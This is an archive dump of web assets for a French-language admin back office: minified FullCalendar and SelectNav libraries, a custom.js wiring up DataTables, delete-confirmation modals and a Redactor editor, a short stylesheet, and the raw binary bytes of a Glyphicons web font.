r=i("unselectCancel");r&&t(e.target).parents(r).length||n(e)})}function me(){function e(e,n){var r=o.shift();return r||(r=t("<div class='fc-cell-overlay' style='position:absolute;z-index:3'/>")),r[0].parentNode!=n[0]&&r.appendTo(n),a.push(r.css(e).show()),r}function n(){for(var t;t=a.shift();)o.push(t.hide().unbind())}var r=this;r.renderOverlay=e,r.clearOverlays=n;var a=[],o=[]}function ye(t){var e,n,r=this;r.build=function(){e=[],n=[],t(e,n)},r.cell=function(t,r){var a,o=e.length,i=n.length,s=-1,l=-1;for(a=0;o>a;a++)if(r>=e[a][0]&&e[a][1]>r){s=a;break}for(a=0;i>a;a++)if(t>=n[a][0]&&n[a][1]>t){l=a;break}return s>=0&&l>=0?{row:s,col:l}:null},r.rect=function(t,r,a,o,i){var s=i.offset();return{top:e[t][0]-s.top,left:n[r][0]-s.left,width:n[o][1]-n[r][0],height:e[a][1]-e[t][0]}}}function we(e){function n(t){be(t);var n=e.cell(t.pageX,t.pageY);(!n!=!i||n&&(n.row!=i.row||n.col!=i.col))&&(n?(o||(o=n),a(n,o,n.row-o.row,n.col-o.col)):a(n,o),i=n)}var r,a,o,i,s=this;s.start=function(s,l,c){a=s,o=i=null,e.build(),n(l),r=c||"mousemove",t(document).bind(r,n)},s.stop=function(){return t(document).unbind(r,n),i}}function be(t){t.pageX===e&&(t.pageX=t.originalEvent.pageX,t.pageY=t.originalEvent.pageY)}function De(t){function n(e){return a[e]=a[e]||t(e)}var r=this,a={},o={},i={};r.left=function(t){return o[t]=o[t]===e?n(t).position().left:o[t]},r.right=function(t){return i[t]=i[t]===e?r.left(t)+n(t).width():i[t]},r.clear=function(){a={},o={},i={}}}var Ce={defaultView:"month",aspectRatio:1.35,header:{left:"title",center:"",right:"today prev,next"},weekends:!0,weekNumbers:!1,weekNumberCalculation:"iso",weekNumberTitle:"W",allDayDefault:!0,ignoreTimezone:!0,lazyFetching:!0,startParam:"start",endParam:"end",titleFormat:{month:"MMMM yyyy",week:"MMM d[ yyyy]{ '&#8212;'[ MMM] d yyyy}",day:"dddd, MMM d, yyyy"},columnFormat:{month:"ddd",week:"ddd M/d",day:"dddd M/d"},timeFormat:{"":"h(:mm)t"},isRTL:!1,firstDay:0,monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],buttonText:{prev:"<span class='fc-text-arrow'>&lsaquo;</span>",next:"<span class='fc-text-arrow'>&rsaquo;</span>",prevYear:"<span class='fc-text-arrow'>&laquo;</span>",nextYear:"<span class='fc-text-arrow'>&raquo;</span>",today:"today",month:"month",week:"week",day:"day"},theme:!1,buttonIcons:{prev:"circle-triangle-w",next:"circle-triangle-e"},unselectAuto:!0,dropAccept:"*",handleWindowResize:!0},Me={header:{left:"next,prev today",center:"",right:"title"},buttonText:{prev:"<span class='fc-text-arrow'>&rsaquo;</span>",next:"<span class='fc-text-arrow'>&lsaquo;</span>",prevYear:"<span class='fc-text-arrow'>&raquo;</span>",nextYear:"<span class='fc-text-arrow'>&laquo;</span>"},buttonIcons:{prev:"circle-triangle-e",next:"circle-triangle-w"}},Ee=t.fullCalendar={version:"1.6.4"},Se=Ee.views={};t.fn.fullCalendar=function(n){if("string"==typeof n){var a,o=Array.prototype.slice.call(arguments,1);return this.each(function(){var r=t.data(this,"fullCalendar");if(r&&t.isFunction(r[n])){var i=r[n].apply(r,o);a===e&&(a=i),"destroy"==n&&t.removeData(this,"fullCalendar")}}),a!==e?a:this}n=n||{};var i=n.eventSources||[];return delete n.eventSources,n.events&&(i.push(n.events),delete n.events),n=t.extend(!0,{},Ce,n.isRTL||n.isRTL===e&&Ce.isRTL?Me:{},n),this.each(function(e,a){var o=t(a),s=new r(o,n,i);o.data("fullCalendar",s),s.render()}),this},Ee.sourceNormalizers=[],Ee.sourceFetchers=[];var Te={dataType:"json",cache:!1},xe=1;Ee.addDays=l,Ee.cloneDate=d,Ee.parseDate=p,Ee.parseISO8601=m,Ee.parseTime=y,Ee.formatDate=w,Ee.formatDates=b;var ke=["sun","mon","tue","wed","thu","fri","sat"],He=864e5,Fe=36e5,Re=6e4,Ne={s:function(t){return t.getSeconds()},ss:function(t){return _(t.getSeconds())},m:function(t){return t.getMinutes()},mm:function(t){return _(t.getMinutes())},h:function(t){return t.getHours()%12||12},hh:function(t){return _(t.getHours()%12||12)},H:function(t){return t.getHours()},HH:function(t){return _(t.getHours())},d:function(t){return t.getDate()},dd:function(t){return _(t.getDate())},ddd:function(t,e){return e.dayNamesShort[t.getDay()]},dddd:function(t,e){return e.dayNames[t.getDay()]},M:function(t){return t.getMonth()+1},MM:function(t){return _(t.getMonth()+1)},MMM:function(t,e){return e.monthNamesShort[t.getMonth()]},MMMM:function(t,e){return e.monthNames[t.getMonth()]},yy:function(t){return(t.getFullYear()+"").substring(2)},yyyy:function(t){return t.getFullYear()},t:function(t){return 12>t.getHours()?"a":"p"},tt:function(t){return 12>t.getHours()?"am":"pm"},T:function(t){return 12>t.getHours()?"A":"P"},TT:function(t){return 12>t.getHours()?"AM":"PM"},u:function(t){return w(t,"yyyy-MM-dd'T'HH:mm:ss'Z'")},S:function(t){var e=t.getDate();return e>10&&20>e?"th":["st","nd","rd"][e%10-1]||"th"},w:function(t,e){return e.weekNumberCalculation(t)},W:function(t){return D(t)}};Ee.dateFormatters=Ne,Ee.applyAll=I,Se.month=J,Se.basicWeek=V,Se.basicDay=U,n({weekMode:"fixed"}),Se.agendaWeek=$,Se.agendaDay=Q,n({allDaySlot:!0,allDayText:"all-day",firstHour:6,slotMinutes:30,defaultEventMinutes:120,axisFormat:"h(:mm)tt",timeFormat:{agenda:"h:mm{ - h:mm}"},dragOpacity:{agenda:.5},minTime:0,maxTime:24,slotEventOverlap:!0})})(jQuery);js/selectnav.min.js000060400000003334150710775200010267 0ustar00/*
 SelectNav.js (v. 0.1)
 Converts your <ul>/<ol> navigation into a dropdown list for small screens
 https://github.com/lukaszfiszer/selectnav.js
*/
window.selectnav=function(){"use strict";var e=function(e,t){function c(e){var t;if(!e)e=window.event;if(e.target)t=e.target;else if(e.srcElement)t=e.srcElement;if(t.nodeType===3)t=t.parentNode;if(t.value)window.location.href=t.value}function h(e){var t=e.nodeName.toLowerCase();return t==="ul"||t==="ol"}function p(e){for(var t=1;document.getElementById("selectnav"+t);t++);return e?"selectnav"+t:"selectnav"+(t-1)}function d(e){a++;var t=e.children.length,n="",l="",c=a-1;if(!t){return}if(c){while(c--){l+=o}l+=" "}for(var v=0;v<t;v++){var m=e.children[v].children[0];if(typeof m!=="undefined"){var g=m.innerText||m.textContent;var y="";if(r){y=m.className.search(r)!==-1||m.parentNode.className.search(r)!==-1?f:""}if(i&&!y){y=m.href===document.URL?f:""}n+='<option value="'+m.href+'" '+y+">"+l+g+"</option>";if(s){var b=e.children[v].children[1];if(b&&h(b)){n+=d(b)}}}}if(a===1&&u){n='<option value="">'+u+"</option>"+n}if(a===1){n='<select class="selectnav form-control" id="'+p(true)+'">'+n+"</select>"}a--;return n}e=document.getElementById(e);if(!e){return}if(!h(e)){return}if(!("insertAdjacentHTML"in window.document.documentElement)){return}document.documentElement.className+=" js";var n=t||{},r=n.activeclass||"active",i=typeof n.autoselect==="boolean"?n.autoselect:true,s=typeof n.nested==="boolean"?n.nested:true,o=n.indent||"→",u=n.label||"- Navigation -",a=0,f=" selected ";e.insertAdjacentHTML("afterend",d(e));var l=document.getElementById(p());if(l.addEventListener){l.addEventListener("change",c)}if(l.attachEvent){l.attachEvent("onchange",c)}return l};return function(t,n){e(t,n)}}()custom.js000060400000014267150710775200006426 0ustar00function initCheckbox(element) {
	$(element).iCheck({
		checkboxClass: 'icheckbox_flat-blue',
		radioClass: 'iradio_flat-blue',
		increaseArea: '20%', // optional
		cursor: true,
		  labelHover: true
	  });
}

/*
 * element : ID (without #)
 * element_order : default order column [[ 1, "asc" ]]
 * element_columns : options on columns { "orderable": false, "targets": 0, "width": "150px"  }
 */
function initDataTable(element, element_order, element_columns) {
	var listTable = $('#'+element).dataTable( {
		 order: element_order,
		 columnDefs: element_columns, 
	      stateSave: true,
	      stateSaveCallback: function (oSettings, oData) {
	          localStorage.setItem('DataTables_i'+element, JSON.stringify(oData));
	      },
	      stateLoadCallback: function (oSettings) {
	          return JSON.parse(localStorage.getItem('DataTables_i'+element));
	      },
		pagingType: "simple_numbers",       
		language: {
	        processing:     "Traitement en cours...",
	        search:         "Filtrer les r&eacute;sultats&nbsp;",
	        lengthMenu:    "Afficher _MENU_ &eacute;l&eacute;ments",
	        info:           "Affichage de l'&eacute;lement _START_ &agrave; _END_ sur _TOTAL_ &eacute;l&eacute;ments",
	        infoEmpty:      "Affichage de l'&eacute;lement 0 &agrave; 0 sur 0 &eacute;l&eacute;ments",
	        infoFiltered:   "(filtr&eacute; de _MAX_ &eacute;l&eacute;ments au total)",
	        infoPostFix:    "",
	        loadingRecords: "Chargement en cours...",
	        zeroRecords:    "Aucun &eacute;l&eacute;ment &agrave; afficher",
	        emptyTable:     "Aucune donn�e disponible dans le tableau",
	        paginate: {
	            first:      "Premier",
	            previous:   "Pr&eacute;c&eacute;dent",
	            next:       "Suivant",
	            last:       "Dernier"
	        },
	        aria: {
	            sortAscending:  ": activer pour trier la colonne par ordre croissant",
	            sortDescending: ": activer pour trier la colonne par ordre d�croissant"
	        },
	        decimal: ".",
            thousands: ""
		}
	}); 

	 $('#'+element+' tbody').on( 'mouseover', 'tr:not(.success)', function () {
            listTable.$('tr.success').removeClass('success');
            $(this).addClass('success');
    } );
}

function initModalDelete($element) {
	$($element).on('click', function(e) {
        $('#ajaxModalDelete').remove();
        e.preventDefault();
        var $this = $(this), $linkHref = $this.data('linkok'), $labelHeader = "Confirmation de la suppression", $labelBody = "Etes-vous s�r de vouloir supprimer cet �l�ment ?";
        var $modal = $('<div id="ajaxModalDelete" class="modal fade" role="dialog" aria-labelledby="myModalLabel" ><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal">&times;</button><h4 class="modal-title">'+$labelHeader+'</h4></div><div class="modal-body">'+$labelBody+'</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">Annuler</button><a href="'+$linkHref+'" class="btn btn-danger">Supprimer</a></div></div></div></div>');
        $('body').append($modal);
        $('#ajaxModalDelete').modal({backdrop: 'static', keyboard: false});
      });
}
function initModalSubmitDelete($element) {
	$($element).on('click', function(e) {
        $('#ajaxModalDelete').remove();
        e.preventDefault();
        var $this = $(this), $formId = $this.data('form'), $labelHeader = "Confirmation de la suppression", $labelBody = "Etes-vous s�r de vouloir supprimer cet �l�ment ?";
        var $modal = $('<div id="ajaxModalDelete" class="modal fade" role="dialog" aria-labelledby="myModalLabel" ><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal">&times;</button><h4 class="modal-title">'+$labelHeader+'</h4></div><div class="modal-body">'+$labelBody+'</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">Annuler</button><button type="button" class="btn btn-danger" id="modalBtnDelete">Supprimer</button></div></div></div></div>');
        $('body').append($modal);
        $('#ajaxModalDelete').modal({backdrop: 'static', keyboard: false});
        

        $("#modalBtnDelete").on('click', function(e) {
        	$("#"+$formId).submit();
        });
      });
}

function initEditor(id) {
    $(id).redactor({
        focus: false,
        lang: 'fr',
        cleanFontTag: true,
        linebreaks: true,
        fileUpload: '/backoffice/tool/redactoruploadfiles',
        imageUpload: '/backoffice/tool/redactoruploadpictures',
        imageGetJson: '/backoffice/tool/redactorlistpictures',
        iframe: true,
        imageUploadErrorCallback: function(json)  {
            alert(json.error);
        },
    	plugins: ['fontcolor', 'fontfamily']
    });
}

function initTabs(hash) {
	console.log('#myTab a[href="' + hash + '"]');
	$('#myTab a[href="' + hash + '"]').tab('show');
}

function initMenu() {	
	$('ul.navi-acc').accordion();
	$(".navi-acc li.active ul").css("display", "block");
	$( "#searchbarform" ).submit(function() {
		if ($("#searchbarinput").val().trim() != ""){
			return;
		}
		event.preventDefault();
	});
	
}

function initResizeSideBar(width) {
	 if ((width <= 900)) {
		$( ".sidebar" ).addClass( "sidebarhidden" );
	 } else {
		$( ".sidebar" ).removeClass( "sidebarhidden" );
	 }
}

function initSideBar() {
	$( ".collapsed" ).addClass( "sidebarhidden" );
	$( ".togglemenu" ).click(function() {
	  $( ".sidebar" ).toggleClass( "sidebarhidden" );
	});
	selectnav('navBar', {
		  label: 'Menu',
		  nested: true,
		  indent: '-'
		});
}

function setSupplierMarqueForPicture(tempForm) {
	myValue = document.getElementById('selectIdSetPicture');
	for (var j=0; j<tempForm; j++) {
			document.forms['setPictureForm_'+j].idSelected.value = myValue.options[myValue.selectedIndex].value;
		}
}
$(document).ready(function(){
	initModalDelete('[data-toggle="ajaxModalDelete"]');	
	initModalSubmitDelete('[data-toggle="ajaxModalSubmitDelete"]');	
	initCheckbox('.bluecheckradios');
	initMenu();
	initSideBar();
});

$(window).ready(function(){
	initResizeSideBar($(window).width());
});

$(window).resize(function() {
	initResizeSideBar($(window).width());
});
admin.css000060400000000205150710775200006343 0ustar00.logo a {
    color: #fff;
    font-size: 20px;
    font-weight: bold;
}

.topnavigation ul li.active {
    background-color: #000;
}fonts/glyphicons-halflings-regular.woff000060400000055374150710775200014361 0ustar00wOFFZ��FFTM�h���GDEF� OS/2�C`g�K�cmapj�HLcvt (�fpgm �eS�/�gasp�glyf�M��*ϣ�headR�46k�hheaS$
2hmtxS ��locaT4��2�TzmaxpU�  �nameV�|Ծ��postW�>��A�VprepZ�..��+webfZ�a�R7�=���].��]}x�c`d``�b	`b`�[@��1
�
x�c`fid�������t���!
B3.a0b�����P�p?�G���I0����(00a	�x�͑=KA�g�\�Dc
�3X��iӝ�&���*A$�V�K�.�;��&Wx���Jml�5WYX��|-3�,�)�-2Γ�p�Y��t�B��Uڧ{Y����Ne�T�����@k�ЖF�վu�S�PCGh!BC�q��g��{ӂ��x��zZVѺ��v�s�H'0(CPG�&��b�&�.x�~ع�mO��y�\>��Yi�K �R�)
�'�����o�����]�p�g|��|��v���/e��59�rن�R<��*f�3�u#eH�(�x�]Q�N[A�
��� 9�����{�	�Սbd;��i7r��q@�D
گ���H�!H|B>!3k��4;;�sΙ3Kʑ�w�k�S�$����6�NH�����덌��Zlf��u���є;j�=o)M;�Z����
����;�4���:	�!�qK��ͺ�����b00����.?�R��4�j˰��Ѽ�3��4@Skm���!��qK�˦�6����$���tUS���]���`�*́��Vy&ҷ$�,
�b���
9����@�HƼIJ;ㆵƑ��6O��<�Mmo�Y�w�K:�Ȇ�b;b)�	DBFU��Ͻ,�R��@��������D<��u1Vz~���ˊ�V�΋Bwo�j��)�^ξ���Ac����J��<,�4hCz7z���ꈫ�>�'ӿ�Z��xڽ���<��H�.���HڕVe%m���j�W܍
.t���)��0L$��	1	�PG�	I��%$pJQ��p�4��r	�J�w���}Ү����^K�&�{�{�^���8�|F�p'q��2�eI��˖��,<lr%�pY2
G���䨜���62G��"G�l�����e�2N�Z9��h��F��5K4F��Y�]դl)@:�=�|4UP�\P��U����T�H�v�P�����I�Qz���?z_+��+[8�o.ћ�e�Y:��!���h��f9��Y�\��l�l�Sf��Y��q�™;Kv
]�D�!]dD߬��7���A���,W�pZ6��U�mY�������p�d5CFk�iƪ�jJF�Vˊ/T\�̌V��Ū�PK>]�nҩ��Z��9��~�Y�d�&�k�r����#��B���+�岪O����x�KQ)jT�-,��|>g���X*MR���׋�'�~v�����-	������A#�����rJhɲܳ-7=Q��u��.f��'N����x�N.���K�����X����~5��VǤBF�e��/7��J41S2���V�[�nCr��c�.�%��ǵp��ќU�_Q3%?|�ddw�����#x}�h�/ߛ�Ǥ4�nj�Wu��+���>���tW��~�5~�)�UW<}��g����c'½���"�[8;��Z 	�l�Q���"]�A~=�F������wx�1�4�F�F����><�����"�sF��qRؙ���כ!ɘd'���C����:�n���o���؁��)ǃv;W����:?k�ƙ�W6"?KUM�id�h�C@ʲ`B���&7MF`\+%�%2L�|T5��@Zm��׋E>����L0_��"���0��	9)9�Z��MJQ�Ql����s��\��X�p��2�8`����;�3w���K
^�Wh�'��-VỂ�2�R�8��z�]�⃜�k�6peb��hjUkb�ќ��!M�j�e�f�9�Pd�>�w�[�~� �s%����_Se�կ5��N2��=n �x%��:�1�"����s%#*iVk^A�$��פ�����/�w���O��s��+w]����H�Z�_�������?a����sN��h�!�Q���&�ҽ�|����+^� ����S������m��y�ܲwx��[��'��lY�-.���D�{͖9���xC��S�7�x
���7�E�0��,��<Q�1�P8��۽���5}�=����{��*����&�=��I���7|���� ~��cS
&R�{T���
�4�>�;�[��w����Uw��;���g��w=��y��%�Ho_�"^c\!
I��G�� #wR�?W٦i�*������9�����d��;*pM�R\'���qe9H����RF��4SUk�j֌��i��֖՜�#���ZWV�d�tN�V�Y�?��!9��K�Q��3�\�V5��.Q��vY�]Uk�wƕ����km뚁�"�R�L�w��P-�QP٬ ��M���S.5�P`��2�Oz��Y%Ӝ�������K_���/AY
��趱#��ck�h��fss���ו��d��6HI��1���E�G?��J@��^�ffK'P���ا�0��X2@&�O8.PB!Eߌ������6�/i�}�xg8���q_ɝ�]���
k5�Bi��ҡ�[�"%J˶���W�~w�t�`��Z:��,Pg�Sr!ә��ڲ�B3@R�Y��҉���U:�m��/���~.�-�C)�sa����IbI9��$���!��;����ώ�Ǧ�<����`ݭˋ�1^[��A��t�/�i�Um>��v:��v2���FT=Έ�6N?z^��$����q4���2��'S�?�;���}��F���SPex�������`qH�T�<*d�~�'��t��~��]�]$.����
f���d&����A$���[�
>�'��k`�����&h��sZ��E����9�I�xB͸j���?�5�IXᬖ�j�l9��Kq�V2���f�VbL�h��N��Q�} ��������h�+ؠu�n�:\��h�8���sMr� ����{ �sJN�+���!�������"��u�}�Ү�;c:�*2U���4��Q�j}�n�<�V��OԮXƦb�u�8f�5��k��FU�U&ҹ�"�q��Q]�S�Ah��~��#�]t]��e�ss��*�#O�l��A�Qh2�l��o��T3s�f�,
���
K�M`�w�V��ێ�s�l��_����w_�}�uH)��(��i~�P�Z:r���Rx|X�-p\Ll�k��E��\*��13���+�ɖ�͕�D��*�1�Y:�jI�Ҧ6�W㤫C_!h��ú
-oPV!݂\��K��-�N���	VU������R�Īv������Ӊ�*�!`���>���GVhu�0,K���K(0�Ry�M-��}�R�	��o�k!�O-�>��eg�}���WH�`3ߛ�RH��T6�1'ot��QR%#lP)T��X2h|�w��U݃��{ɶXS&iLg�͜�J�;ɗ�/�*�����=�Ȯ0d���W	;���\�������IcO�ᶁ�IBN�pR��m���rswҘ�0�6+s�p��w��2�n3d�������oؾd���5��q
�����8�Z�ڟћ��"�)wd�r�.4UA�D����3XY�y<��N����y���P3-'ڨ�‡�\(�����J=�՝�z��=[��z=pQ��L���N\D�V����j'�BV��MOm���@;�j ��a��-��(�2�>:�}�He��6"�Z����v�^��p���}p��?0:�?��G��&���Ϡ����+���|�����&�g#���KB'����N~�����?~��ѽ(G����(�9��d.ƕ�X�$� �ղ� ��&�6��N:F"���J���8�G��:���+ n�:t�����F�QƊ�(>->
s�<��C�Yռ(d˪o�*0.rjv5W��_��TNn��h4��v�S�ၙU�U�1�N�u���	{gw�)�2�V��ֈ�v�b��]�������|�޳G_?������C��E 2��xb��,����$=Hm��Cg�MQ^�kV��C���rf��IČ,�r�&��$'��
q���E��ϕG�?#ύ��A[ϛMO�:T>ZEׂ�����ttv�%\ي�dw�d�EeY���"�D��h���$� �x3H*��z���~J���^�O�(?�7`�7�=G�x BяW)�8��}�@�ra�ܚ�s��BV�j2[HA�lv���1�K�,���E�Ju�fY�k�{����蘪Xs���k+j�0�
�t)"�����Y{�8�ƞ������?�@zծʮ#��|��x^���v"���u���hS�"&`���1�܏|�EL����kp��G1�8��Q=hz��`"������#Gv�+�s.�I�1����r�5��Z2� _a"򀔒)���[�����쉺s�	�ɩ�BN�V��?v;��J%K������ȿ���0��[���[6�Q��†��tP:��ƨ��6 �h�>��T���S���$�݆��C2��O&����Sp�NrO���75sk8t5��-p�(���U�0~
��� z�j��,���2�>��^d��
��D�{����RT�`Uw��(�:����]z/��+��V��]�mu	����̵��昞�Qx]\���+�8�0�|ղ��/�܎s�l7�;�n�sPT5c�`�d\����~��`��~E���لh�Z`��Ra���Hgn;�� GI�$rTe�/��y���-�|�}�}�o/YLF��.v�_��ߵxvՑ.O�I�q��k|;�/k��2�?�b.��Ds-�E�ɡ��R�n͡���R3�t�lsyQ�V���Pi���.�	06R
/,�C$�$���F�-G߬;�P����y����{�c�
2u"��*�]��9�0b�`Tʆ ��uЅ˝�����T��RW6�aҙ�~��q�9��Q��蠀lYM�Vo����m���$��k�_�>PY�e��
(1{�<��]T���$�\V��F4�&,FB���a�IAv��`��۷n��b{�u���~թ^��a�6V�D�����fYp�LV=\�Ý�]��3H�᜖�j}t�C@��5{W�Ц��u�JY��j�����y���N���j��$���)�<^����u�%3L"a�����W<2sM A�5���ﰂR�����t��G�x��Gϭ�L{L6�Ư�&�V�u�ϯ���7���U���U����z/�7l�dyE\/��@o��A6DIc&*X)0u��絝;������C��6��rrn��
�C(��Z =Q;CJ����.�h�Z����۟���}��yo}��-�#�7��7HcW�)�~�C&xZ`t<f�OeK<�P�sx?H4!'���RR�xVh
���r�t���IƻF��������[��yO��w_�e�k*�i�G��T���g��%��y`�-�V�8�4c>$�j��gʌ`���\ƌ�r�{9�eJ���A)��%lj���z��s.%C��Ւ�����Ѽ�U�<��Jik��A�.s��4���c��2�:�.	W�ߙ"lTK�%��*-J��j+���(�N��f�`e�*�@�lT	�]nk����R�	(��Τ�j\.���ov�1|����Мy��=Q9�G�K.E�:�^EU�<���+��� ��ˮ@\��"��&#Ţn���(<��U��]݋x	��5�B���)�^T��VQx����x3^�Z���|��7����d3��ʢ�G�#%���cT{m��C�e@�bˢj�:!�)V�5h��a��&�WQH�\А����&��4��14#�<)���+
|*�}�>E�2��T*����-���i�M�I�5�o�{Rͫ�J��*30�\?��g�R���xf�yU_��כJ�$V����^�ׄC�C�/'�{6�w'����ѹ����} �ٝ�������;3������禃 �C*���Kv?x�E<�%/!DV�$�4܇�4���a�^�ʘ�k�ˈ��Y&��=����	w�h�4����@lj��焯G�E�}�<w��W����=]+Kp?��{���
y��R�����}���{�<��T�l6p����ڌ��Z�Iٲ`�`A�Q�3�,2���F$�5Yq�s�b̓̅Z<L��-!M2I(�Z���P�ݎ��o�W
�ɻ,�����M�9l��I�j�k���:�R��m9ױ�n�����[-~��B\�����f'��k�hݠ�e`"L�,Z���l�v-�R�.���à�K�)@)ښ�����Zbq���\J��0�[���ղ��2-�b��4�C��㽾l_o2���@��6*F�Dg����ҾzV�j�ZRq�22R1�^O�:x*L���N�Q��`
�5#$�
�Iu�<��&���q�=���eކ��h�L������M�*��'Si�\�q�Q=yrI�p��tr�jWg�|-����
g��mN'�TN_5����7��͝K:<i�]x�{F�-(I����x�?ߣ9�0*�q�B��OBǧ���d��FGI<��B�%�k@����Y�(%�0J>��(l4�k2�j=��49"-�����H�E�$�T�f�t�r�RS@?�;��˭�V�1�
�۹�񕕯m��3������� �ڄ�f5dwJ�/�(��$��;a�“�Y^�x�7�[�z#���eT��F��-�F�Q4�R̂�����I�OU*˯4=ci[d4���X�`��2cQ�4/#�4��C��o��6���4�s���k>!3�v����2o��Bc��Q�w�[��T@2��M�)�������A�8~�i���ٚ��|)Y@���fkib����@����s�G�EaF���*�ZASTP�.]z���:��?�+�R��X��o.VbьWu�'����p..���b�>�-��jެ�Bt���x7�>��-���RӴ]��d�Z}z$C����Mf�
�ˏV�1*x�ρ��Zd��A*�g@R�@�	�A=�î�P�f�QO+���2�O�P݂��w�Q��
4�R���']>�~H����~|"���l�M��4z��F/��ʂK
��T>v�o�U����a߮7�:9<��o���4�&kF�+�3e0	c(��V1��k1D&ƈ=�O�߈I�����L���6���;��x1�v�����c�ӏ��Ǒ"s>aQ2M�W��#�k�-���i���4�d�[p1�-(f�m9��\b�F�ʮȌ,�4(��f��s�*+d����-�ΏC?˄9��۟��GG>������ ���ʈ�z�f����K3h`2��� �)Jc`�^�MH�8��?�f
���8s`�w�~p|��:�(
�D9���e���
;�gD�Ƞ4��<�W��s�kiF�sH�W����)�qð�G��h���'D��'*��U��:��K�Kk�!Mx�zs�i�"L1��<T���k����\I�ל��j��bVKW�~KWW˨��K��t'���Ȓx��y�e7�f7,��0.͡��sU�R�`6E(��"�<n��de�GA�D��y��&��&���QwM����@���^w��ߤc	I�{���+Vl���A�Q�����"���<���c��⋜4�!{�����ĂUM
��."�!�U�̆�K*&^����Ty���/^��k���5��}�%v�Wv�~運6=�]������W��ܹ�ئ�,��.z�f��ck
�x<��e�5_Cd�È��gM����	F�J^(JA�6~��c�f�?Ҵ��2���#�Z�鳜(����@��m�6�F/��B���4�J��&���\yeXY�r��ىۿ���ݸ�q�i.ɗ�8y����u�7�����^t������m6<X�g�p�ꋃ�}K����]�k�V~Y���Ea�\Ǖ�H
g�8`):`,����UKmH
ƀCa45�\j�!AL&VB,�!�"�x��znUi��SP�%
$e3��ȥ-���� 9�>Py�1��c�_#]�o"��r�tt�?����m0mx��<��;e�C��5�s��4��r�̥�k����e�TU3���Ҍ�e�bi��#�+�\��J�X�d�\J�D#|&Ǧ�j����먐a��(f��@��z�=��y"|�g�C�3�����yk�3�VE��1z0�h��c&��d>~�w��y�����q�o��ef#�Z�e<�O�f4�/�[�w�UQ/3 ���>�R$� ��3Zf>ER�[�༲��d�֒&��s��Nj��҂��������I���l���r����Q��3+��҄,�f�E:%�&���4��U���\�l4�@X#�$f��3�2+������V���
�+�i��v��5��+�D}e��$�4��Y4К��>F[�GK�`�L�0��n�Y���Kɿ����/��5�e=J����q�����.rk����e�N��́)7����nJ�ύ�)�Z-�H�ta�����|�O��J�/nr!P���U�/+\Q����-W���69��2}��鵷ڽ��2��\a�
Ŝ��_څz���mu����Ј3�49���X\�cu
y{��H�\�9�,
���ϐIq�<��WZQ��;��q��|	���u���:߹i5��Z��t��j��τ{��#�4b�i�5��Γu�(�`���F_?2��'�4�'	�N�s1�6�-~՟����?��F�?��������B\-^��L�L
D�8H6���TȨ��t�e!�%&������ܹ4�Q�r5��?5�!P�x؇��`�,�;L�vȁ�@�2�ą=�rֳg���~@�
�G���ݳ����'��b<'	�r5�egpa^�}\6��8XbD'��'��G���E�5�VY
SM_��9��$��k.�"�aW��\-��T!%�$u2k^ݹ�ջ��;���^?�&��<&wL�1��09���%�&C��x����=$�$����Ͼ{>���Ӧl��)$��6��Q�^����s-\���%�
|a\o���ޤ�f�����RjVm���u`�r��L���+��d
�,zLJ
�h>��(9D57,�{�(`��VFD�d�
�Yt���3�g*�'��;����t�mwLeV>�m� �����\DT[����=�>�[��7n�Kq"m0z;P�f�.�n���b~�8��-��:��P3��j!�QNL4����6N��N0��8ߘk�z���%"H�h��L����⩲#����,@{�,�;ѷ�T��H;�6Н��`�&f�L(�������~���HG'�;�|4�|N	�* � �ϧI*�8�+��9؅�p*����X�iq�o�&��~xaC����li��T�/�,��sr�2�aM�^�xWݼ�r����/7=p��K�?�Ɍ�V�lR�#��+�s�<��,��3iș�I>4�0W��zy��h>�q������/��?~��4\�M�U��Cp*Mp�O�!�18�x�oڹ��w�?�/�s]�.��)07�`��) ��2�`0���z���Ka�}5�M��ةS�<4��75�a~f�>�n�ԇS��,��G?�����~s.�Sa�`��bk�M�7ssT9�Y�XH<�����i&�?O�~-����1_֟��ľO�U��}�f0�����Fԓ�$��+��?T

)�ȏ�K�~��6���zB��� �U�c�w��2��kE۠�|��,����i�OToÊj���C0.���«��nG�W���D��u�g��)��������<��M$y���M��E�7�o"#����.�^���w�w���Ѝ�`�_��^���콉���u�G��;�_�y���N�W;����R>H��8��jm�����P��QA�Bff�\�Ui���8�yq��f\�B2г�߂x��t�ס�����Q�>��Yb��獋�D��S�H�ߎ��~��o(�%ix}�a��I������*���)��=9����h=�+C/��0�Ķz�X�]�)Q�`
�d�`��fl�r�*�����dSc�.)��|�:������(�GC�!K��/+bxQ��݇�6��q�B�هEb�N͐G�>�mĝN�L^���=#󏸥ony�־�����$>G놲�}9�60���K�I�Ҙ�7l(xy����R��З��T2��Ԣ��$(3ә��o�k�g.�y�u��q��N�+��7n:��'�$oT�ehH�{�����o<g��)��p�E��?�}J�l�87���ݛ�}֍'g�fC(��2y��8g.�l�|�߹�ˈ��rԂ���E�%�\�3���ܸ�*��>l���˄	�#���O����4_
',8DɈ��2�y�–��f�9#�ʵ���g1;������o�7Ǚ|��|Jj�ӽr�!g�`I���D!VWН��J����[s�3o�V,����R�����<ވS5Y�h�6ͻt��d�%]�<l��m����r�%O��
4�6���hI/_I_�5����s\���-��q�<�S��HO�h��@_,-"e��94���i~W2��'����sQ�t1fÆ �1�6�
aC(�S��(�[0�>��I	CAc�•Wn�o�-W�\�lN>�[��}����x��
]'ZI!4�?ܣ���>�֞/L,�x��m��u'��(�Yt����0t���3gv��N���,N,�X���OY���m�.��ڊ�h�-4�G�N�ƕ�uKtn�@��෇��?~�)�͙vh��J�W�f���t�:m��}.���A��J��^���;#wƍ`��k�~-د��k�~��Ͻ`��]�`k"]�G�X��9�`:��	��Ӧs$�.���5�&4��($axq��'
